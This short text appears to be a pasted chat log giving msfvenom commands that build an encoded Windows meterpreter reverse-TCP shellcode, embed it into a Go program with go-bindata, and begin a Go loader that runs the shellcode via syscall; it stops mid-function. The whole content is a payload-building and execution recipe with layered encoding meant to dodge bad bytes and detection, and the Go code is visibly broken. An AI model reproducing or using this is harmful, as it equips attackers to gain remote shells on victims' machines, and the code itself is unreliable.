msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f raw -b '\x00' | msfvenom -e x86/xor_dynamic -i - -f raw -b '\x00' | msfvenom -a x86 --platform windows -e x86/countdown -i - -f raw --smallest -b '\x00' -o meterpreter_reverse.bin ==== go get -u github.com/go-bindata/go-bindata/... === go-bindata -pkg main -o shell.go meterpreter_reverse.bin === Jakub Nowak 2:41 PM package main import ( "os/exec" ) func run_shellcode(shellcode []byte) { if len(shellcode)%4 != 0 { // must be multiple of 4 shellcode = append(shellcode, make([]byte, 4-len(shellcode)%4)...) } // Convert to []uintptr var shellcodePtrs []uintptr for i := 0; i < len(shellcode); i += 4 { shellcodePtrs = append(shellcodePtrs, *(*uintptr)(unsafe.Pointer(&shellcode;[i]))) } syscall.Syscall(shellcodePtrs[0], 0, 0, 0, 0) // assuming that the shellcode begins with a valid address } func